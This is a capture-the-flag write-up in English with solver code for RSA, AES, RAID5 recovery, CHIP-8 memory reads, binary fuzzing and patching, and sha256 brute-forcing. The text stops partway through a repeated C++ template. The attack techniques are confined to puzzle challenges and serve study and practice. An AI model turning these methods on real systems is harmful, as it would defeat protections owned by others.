由于寒假比较闲,所以找点比赛打。由于需要上交 wp,所以是英文的。

Crypto

RSA is easy #1

Since N is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.

  1. e=65537
  2. n=...
  3. s=[...(encrypted flag)]
  4. from gmpy2 import *
  5. f={}
  6. for j in range(32,127):
  7. f[j**e%n]=j
  8. r=''
  9. for i in s:
  10. r+=chr(f[i])
  11. print r

RSA is easy #2

We doesn’t know N, but we know that c=n^e\ mod\ N. So N is a factor of n^e-c. Then for two c, we can check all n, and calculate their gcd. Then just follow #1.

  1. from gmpy2 import *
  2. s=open('c').read()
  3. s1='Encrypted flag:'
  4. s=s[s.find(s1)+len(s1):]
  5. s=eval(s.strip())
  6. a=s[0]
  7. b=s[1]
  8. for i in range(97,97+26):
  9. for j in range(97,97+26):
  10. t=gcd(i**65537-a,j**65537-b)
  11. if t>100:
  12. print '|',t
  13. print i

Prison Break

Maintain the difference of every two adjacent numbers.

  1. #include<bits/stdc++.h>
  2. typedef unsigned int uint;
  3. typedef long long ll;
  4. typedef unsigned long long ull;
  5. typedef double lf;
  6. typedef long double llf;
  7. typedef std::pair<int,int> pii;
  8. #define xx first
  9. #define yy second
  10. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  11. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  12. template<typename T> inline T abs(T a){return a>0?a:-a;}
  13. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  14. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  15. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  16. template<typename T> inline T sqr(T x){return x*x;}
  17. #define mp(a,b) std::make_pair(a,b)
  18. #define pb push_back
  19. #define I __attribute__((always_inline))inline
  20. #define mset(a,b) memset(a,b,sizeof(a))
  21. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  22. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  23. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  24. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  25. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  26. #define fd1(i,n) for(int i=n;i;i--)
  27. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  28. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  29. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  30. struct Cg{I char operator()(){return getchar();}};
  31. struct Cp{I void operator()(char x){putchar(x);}};
  32. #define OP operator
  33. #define RT return *this;
  34. #define UC unsigned char
  35. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  36. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  37. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  38. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  39. #define TR *this,x;return x;
  40. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  41. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  42. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  43. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  44. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  45. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  46. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  47. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  48. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  49. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  50. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  51. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
  52. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  53. int s[10000007];
  54. int main()
  55. {
  56. freopen("Given_File.txt","r",stdin);
  57. fo0(i,9999999)
  58. {
  59. int a,b,c;
  60. in,a,b,c;
  61. assert(a>=1&&a<=1000000000);
  62. assert(b>=1&&b<=1000000000);
  63. assert(c>=0&&c<=9);
  64. assert(a<=b);
  65. (s[a]+=c)%=10;
  66. (s[b]+=10-c)%=10;
  67. }
  68. int r=1;
  69. fo1(i,10000000)
  70. {
  71. (s[i]+=s[i-1])%=10;
  72. (s[i]+=10)%=10;
  73. if(s[i])r=(ll)r*s[i]%999999937;
  74. }
  75. out,r,'\n';
  76. }

Bad keys

\phi(n) is a factor of ed-1. So we can find phi(n).

Since pq=n,pq-p-q+1=\phi(n), we can find p and q.

The p in the keys are very similar, just like adjacent primes, so we can check some p and factorize n.

  1. n=...
  2. p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
  3. print(p)
  4. while n%p:
  5. p-=1
  6. print(p)

Count on me

Consider the given key is a number under some strange base.

Guess each digits is divided in two parts, and they form a 20 base.

After guessing some ways to read the number, finally I found the flag.

(key.txt)

  1. N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N . /N >N>/>/>N/
  2. WN V*\\NVW\WVN* NVNN WN\ \ . *.NN . N NWW\\.W\ W\\ NW N\W
  1. from Crypto.Cipher import AES
  2. c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
  3. iv = '42042042042042042042042042042042'.decode('hex')
  4. def chk(key):
  5. aes = AES.new(key,AES.MODE_CBC, iv)
  6. r=aes.decrypt(c)
  7. for i in r:
  8. if ord(i)<32 or ord(i)>126:
  9. return False
  10. print(r)
  11. return True
  12. def chkn(x):
  13. r=''
  14. for i in range(32):
  15. r+=chr(x&255)
  16. x>>=8
  17. assert x==0
  18. r=r[::-1]
  19. return chk(r)
  20. a,b=open('key.txt').readlines()[:2]
  21. a=a.strip()
  22. b=b.strip()
  23. va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
  24. vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
  25. unk=[]
  26. tot=0
  27. for i in range(59):
  28. p=58-i
  29. po=20**i
  30. if a[p]=='*':
  31. assert b[p]=='*'
  32. unk.append((po,i))
  33. else:
  34. tot+=(va[a[p]]*5+vb[b[p]])*po
  35. def dfs(x,cur):
  36. if x==len(unk):
  37. return chkn(cur)
  38. for i in range(20):
  39. dfs(x+1,cur+unk[x][0]*i)
  40. dfs(0,tot)

Forensics

RR

It seems to be raid5. After some observation, I found the way to decrypt it.

(decrypt script, 2.img is the xor of 1.img and 3.img)

  1. #include<bits/stdc++.h>
  2. typedef unsigned int uint;
  3. typedef long long ll;
  4. typedef unsigned long long ull;
  5. typedef double lf;
  6. typedef long double llf;
  7. typedef std::pair<int,int> pii;
  8. #define xx first
  9. #define yy second
  10. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  11. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  12. template<typename T> inline T abs(T a){return a>0?a:-a;}
  13. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  14. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  15. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  16. template<typename T> inline T sqr(T x){return x*x;}
  17. #define mp(a,b) std::make_pair(a,b)
  18. #define pb push_back
  19. #define I __attribute__((always_inline))inline
  20. #define mset(a,b) memset(a,b,sizeof(a))
  21. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  22. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  23. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  24. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  25. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  26. #define fd1(i,n) for(int i=n;i;i--)
  27. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  28. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  29. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  30. struct Cg{I char operator()(){return getchar();}};
  31. struct Cp{I void operator()(char x){putchar(x);}};
  32. #define OP operator
  33. #define RT return *this;
  34. #define UC unsigned char
  35. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  36. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  37. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  38. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  39. #define TR *this,x;return x;
  40. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  41. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  42. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  43. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  44. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  45. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  46. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  47. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  48. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  49. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  50. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  51. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
  52. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  53. int main()
  54. {
  55. FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb");
  56. const int N=8192*65536,A=8192,B=N/A;
  57. fo0(i,A)
  58. {
  59. unsigned char f[B];
  60. if(i%3==0)
  61. {
  62. fread(f,1,B,fb);
  63. fread(f,1,B,fc);
  64. fwrite(f,1,B,fr);
  65. fread(f,1,B,fa);
  66. fwrite(f,1,B,fr);
  67. }
  68. else if(i%3==1)
  69. {
  70. fread(f,1,B,fa);
  71. fread(f,1,B,fb);
  72. fwrite(f,1,B,fr);
  73. fread(f,1,B,fc);
  74. fwrite(f,1,B,fr);
  75. }
  76. else
  77. {
  78. fread(f,1,B,fc);
  79. fread(f,1,B,fa);
  80. fwrite(f,1,B,fr);
  81. fread(f,1,B,fb);
  82. fwrite(f,1,B,fr);
  83. }
  84. }
  85. }

However, this result image seems to be broken (maybe because of header).

I ran binwalk on this image, and it found a jpg file. That’s the flag.

Misc

Romanian Gibberish

Remove p and the letter after it.

The dragon sleeps at night

Work, buy level 1 sword, sleep -5 days, then go to the dragon.

CHIP 8 /1

F X 29 can load protected address into I.

D X Y N can read protected memory and show them.

  1. 6015
  2. F029
  3. D11F

CHIP 8 /2

The last 512 bytes is executable, just jump there and check “Last instruction”.

Shifty

First, we can find some way to rotate (x_0,y_0),(x_0,y_1),(x_1,y_0). (Just consider (0,0)\to(0,1)\to (1,0))

It requires 2n (n is board size) operations.

For a level, we can solve it by such rotation.

For first three levels, it’s enough. But for level 4, we need to find out what’s the real operation. This is not difficult to be done.

For level 5, we can only guess, and then run this until it succeeds.

  1. from pwn import *
  2. from copy import deepcopy
  3. import random
  4. r=remote('138.68.67.161',60006)
  5. rs=[]
  6. chrs={}
  7. cnts={}
  8. def work_level(id):
  9. global rs,chrs,cnts
  10. r.recvuntil('Level %d\n'%id)
  11. r.recvuntil('Your target:\n')
  12. r.recvuntil(' ')
  13. s=r.recvuntil('\n')
  14. us=s[:]
  15. m=len(s.strip().split())
  16. n=0
  17. req=[]
  18. while True:
  19. s=r.recvuntil('\n').decode()
  20. if len(s)<2:
  21. break
  22. n+=1
  23. req.append(s.strip().split(' ')[1:])
  24. print(n,m,req)
  25. r.recvuntil('Current board:\n\n')
  26. r.recvuntil('\n')
  27. cur=[]
  28. for i in range(n):
  29. s=r.recvuntil('\n').decode()
  30. cur.append(s.strip().split(' ')[1:])
  31. print(cur)
  32. for i in range(n):
  33. print(' '.join(cur[i]))
  34. print(r.recvuntil('Enter'))
  35. print(r.recvuntil(': '))
  36. def rotx(x,u=None):
  37. global rs
  38. if x in chrs:
  39. rs.append(chrs[x])
  40. else:
  41. rs.append(chr(x+65))
  42. for T in range(cnts[x]):
  43. t=cur[x]
  44. cur[x]=t[1:]+t[:1]
  45. if u is not None:
  46. for t in u:
  47. if t[0]==x:
  48. t[1]=(t[1]-1)%m
  49. def roty(y,u=None):
  50. global rs
  51. if -y-1 in chrs:
  52. rs.append(chrs[-y-1])
  53. else:
  54. rs.append(str(y))
  55. for T in range(cnts[-y-1]):
  56. t=cur[0][y]
  57. for i in range(n-1):
  58. cur[i][y]=cur[i+1][y]
  59. cur[n-1][y]=t
  60. if u is not None:
  61. for t in u:
  62. if t[1]==y:
  63. t[0]=(t[0]-1)%n
  64. t=[]
  65. for i in range(n):
  66. t.append(chr(i+65))
  67. for i in range(m):
  68. t.append(str(i))
  69. if id==5:
  70. t=[]
  71. for i in range(n):
  72. t.append(chr(i+65))
  73. random.shuffle(t)
  74. for i in range(n):
  75. chrs[i]=t[i]
  76. t=[]
  77. for i in range(m):
  78. t.append(str(i))
  79. random.shuffle(t)
  80. for i in range(m):
  81. chrs[-i-1]=t[i]
  82. else:
  83. chrs={}
  84. cnts={}
  85. for i in range(-m,n):
  86. cnts[i]=1
  87. if id<=3:
  88. for i in range(n):
  89. chrs[i]=chr(i+65)
  90. for i in range(m):
  91. chrs[-i-1]=str(i)
  92. else:
  93. for ch in t:
  94. #print(ch)
  95. r.send(ch+'\n')
  96. while True:
  97. s=r.recvuntil('\n')
  98. #print(s,us)
  99. if s.strip()==us.strip():
  100. break
  101. cur2=[]
  102. for i in range(n):
  103. s=r.recvuntil('\n').decode()
  104. cur2.append(s.strip().split(' ')[1:])
  105. diff=[]
  106. for i in range(n):
  107. for j in range(m):
  108. if cur[i][j]!=cur2[i][j]:
  109. diff.append((i,j))
  110. assert len(diff)==n or len(diff)==m
  111. xs=set();ys=set()
  112. for i in diff:
  113. xs.add(i[0])
  114. ys.add(i[1])
  115. if len(xs)==1:
  116. for u in xs:
  117. x=u
  118. cnt=0
  119. while cur!=cur2:
  120. rotx(x)
  121. cnt+=1
  122. assert cnt==1 or (cnt+1)%m==0
  123. chrs[x]=ch
  124. cnts[x]=cnt
  125. else:
  126. assert len(ys)==1
  127. for u in ys:
  128. y=u
  129. cnt=0
  130. while cur!=cur2:
  131. roty(y)
  132. cnt+=1
  133. assert cnt==1 or (cnt+1)%n==0
  134. chrs[-y-1]=ch
  135. cnts[-y-1]=cnt
  136. #print(ch,cur)
  137. print(chrs)
  138. print(cnts)
  139. #exit()
  140. rs=[]
  141. def work(x,y,z):
  142. #x<-y y<-z z<-x y is pivot
  143. u=[list(x),list(y),list(z)]
  144. if x[0]==y[0]:
  145. assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1]
  146. while u[2]!=list(y):
  147. roty(y[1],u)
  148. while u[0]!=list(y):
  149. rotx(y[0],u)
  150. while u[0]!=list(z):
  151. roty(y[1],u)
  152. while u[2]!=list(y):
  153. rotx(y[0],u)
  154. else:
  155. assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1]
  156. while u[2]!=list(y):
  157. rotx(y[0],u)
  158. while u[0]!=list(y):
  159. roty(y[1],u)
  160. while u[0]!=list(z):
  161. rotx(y[0],u)
  162. while u[2]!=list(y):
  163. roty(y[1],u)
  164. for i in range(n-1):
  165. for j in range(m):
  166. if i==n-2 and j==m-1:
  167. break
  168. for k in range(n):
  169. for l in range(m):
  170. if req[i][j]==cur[k][l]:
  171. x=k;y=l
  172. break
  173. if i==x and j==y:
  174. continue
  175. if i!=x and j!=y:
  176. assert x>i
  177. work((x,y),(x,j),(i,j))
  178. elif i==x:
  179. t=0
  180. while j==t or y==t:
  181. t+=1
  182. work((x,y),(x+1,y),(x+1,t))
  183. work((x+1,t),(x+1,j),(i,j))
  184. else:
  185. assert j==y
  186. if i!=n-2:
  187. t=1 if y==0 else 0
  188. u=n-1 if x!=n-1 else n-2
  189. work((x,y),(u,y),(u,t))
  190. work((u,t),(u,y),(i,j))
  191. else:
  192. work((x,y),(x,y+1),(i,y+1))
  193. x=i;y+=1
  194. t=0
  195. while j==t or y==t:
  196. t+=1
  197. work((x,y),(x+1,y),(x+1,t))
  198. work((x+1,t),(x+1,j),(i,j))
  199. #print(i,j,cur)
  200. assert cur[i][j]==req[i][j]
  201. #print(cur)
  202. for i in range(m-1):
  203. for k in range(n):
  204. for l in range(m):
  205. if req[n-1][i]==cur[k][l]:
  206. x=k;y=l
  207. break
  208. if n-1==x and i==y:
  209. continue
  210. if x==n-1 and y==m-1:
  211. work((n-1,i),(x,y),(n-2,m-1))
  212. continue
  213. if x==n-1:
  214. work((x,y),(x,m-1),(n-2,m-1))
  215. x=n-2
  216. y=m-1
  217. assert x==n-2 and y==m-1
  218. work((x,y),(n-1,y),(n-1,i))
  219. #print(i,cur)
  220. print(cur)
  221. #print(rs)
  222. #exit()
  223. ST=10000
  224. for i in range(0,len(rs),ST):
  225. r.send(','.join(rs[i:i+ST])+'\n')
  226. if i+ST>=len(rs):
  227. #r.interactive()
  228. #exit()
  229. break
  230. print(r.recvuntil('Enter'))
  231. print(r.recvuntil(': '))
  232. for i in range(1,6):
  233. print('work_level:',i)
  234. work_level(i)
  235. #r.interactive()
  236. print(r.recvuntil('\n'))
  237. tt=r.recv(10)
  238. print(tt)
  239. if tt==b'Enter 0-3 ':
  240. exit()
  241. r.interactive()

Rev

baby bear

If we change some position of input, some suffix of the output will change.

So we can fuzz it. (In fact, it’s bfs or maybe A*)

  1. import pexpect,heapq
  2. def work(s):
  3. p=pexpect.spawn(['./baby_bear_bak'])
  4. p.read(613)
  5. p.write(s+b'\n')
  6. res=p.read(100)
  7. t=res.find(b'\r\n')
  8. return res[t+2:t+48]
  9. def bitxor(s,x):
  10. xt=x>>3
  11. return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
  12. target=b'1100011010101011000100101011000101001011111000'
  13. def cal(s):
  14. t=work(s)
  15. c=0
  16. while c<46 and target[c]==t[c]:
  17. c+=1
  18. return c
  19. def u(x,y):
  20. return x-y*2.5
  21. st=b'0'*16
  22. sc=cal(st)
  23. q=[(u(0,sc),sc,0,st)]
  24. while True:
  25. tt,sc,cur,s=heapq.heappop(q)
  26. print(sc,cur,s)
  27. if sc==46:
  28. print()
  29. print(s.decode()[:-2])
  30. break
  31. t=bitxor(s,cur)
  32. flag=True
  33. for i in t:
  34. if i<32 or i>127:
  35. flag=False
  36. if flag:
  37. ns=cal(t)
  38. heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t))
  39. heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s))

papa bear

It shows similar features to baba bear, so we can also fuzz.

  1. import os,pexpect,heapq
  2. def uu(s):
  3. r=''
  4. for i in s:
  5. if i=='M':
  6. r+='0'
  7. elif i=='W':
  8. r+='1'
  9. return r
  10. def work(s):
  11. #p=pexpect.spawn('./papa_bear '+s.decode())
  12. os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt')
  13. return uu(open('out.txt').read())
  14. def bitxor(s,x):
  15. xt=x>>3
  16. return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
  17. #print(work('1231231231231234'))
  18. #print(work(b'\0'*16))
  19. #print(work(bitxor(b'\0'*16,10)))
  20. target=uu(open('sample.txt').read())
  21. print(len(target),target)
  22. print(len(work(b'0'*100)))
  23. def cal(s):
  24. t=work(s)
  25. c=0
  26. while c<275 and target[c]==t[c]:
  27. c+=1
  28. return c
  29. def u(x,y):
  30. return x-y*2
  31. #return -y
  32. st=b'HackTM{F4th3r b'+b'0'*80
  33. sc=cal(st)
  34. q=[(u(0,sc),sc,0,st)]
  35. L=4
  36. while True:
  37. tt,sc,cur,s=heapq.heappop(q)
  38. print(sc,cur,s)
  39. if sc==275:
  40. print()
  41. print(s.decode()[:-2])
  42. break
  43. for j in range(1,1<<L):
  44. t=s
  45. for k in range(L):
  46. if j>>k&1:
  47. t=bitxor(t,cur+k)
  48. flag=True
  49. for i in t:
  50. if i<32 or i>126:
  51. flag=False
  52. if flag:
  53. ns=cal(t)
  54. heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t))
  55. heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s))

hackdex

The binary translates words from a dictionary, and there’s an hidden option 9.

That requires pro user, and we patched it at 0xec64.

The option 9 requires 6 words, and checks them using contains_key. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag.

However, these hash tables were empty, so it’s difficult to know which words are required.

Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules.

So we can find the words for the 6 groups.

  1. char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
  2. char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
  3. char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
  4. char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
  5. char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
  6. char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};

Then just brute force the sha256.

  1. #include<bits/stdc++.h>
  2. typedef unsigned int uint;
  3. typedef long long ll;
  4. typedef unsigned long long ull;
  5. typedef double lf;
  6. typedef long double llf;
  7. typedef std::pair<int,int> pii;
  8. #define xx first
  9. #define yy second
  10. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  11. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  12. template<typename T> inline T abs(T a){return a>0?a:-a;}
  13. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  14. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  15. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  16. template<typename T> inline T sqr(T x){return x*x;}
  17. #define mp(a,b) std::make_pair(a,b)
  18. #define pb push_back
  19. #define I __attribute__((always_inline))inline
  20. #define mset(a,b) memset(a,b,sizeof(a))
  21. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  22. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  23. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  24. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  25. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  26. #define fd1(i,n) for(int i=n;i;i--)
  27. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  28. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  29. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  30. struct Cg{I char operator()(){return getchar();}};
  31. struct Cp{I void operator()(char x){putchar(x);}};
  32. #define OP operator
  33. #define RT return *this;
  34. #define UC unsigned char
  35. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  36. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  37. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  38. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  39. #define TR *this,x;return x;
  40. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  41. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  42. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  43. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  44. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  45. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  46. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  47. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  48. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  49. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  50. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  51. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
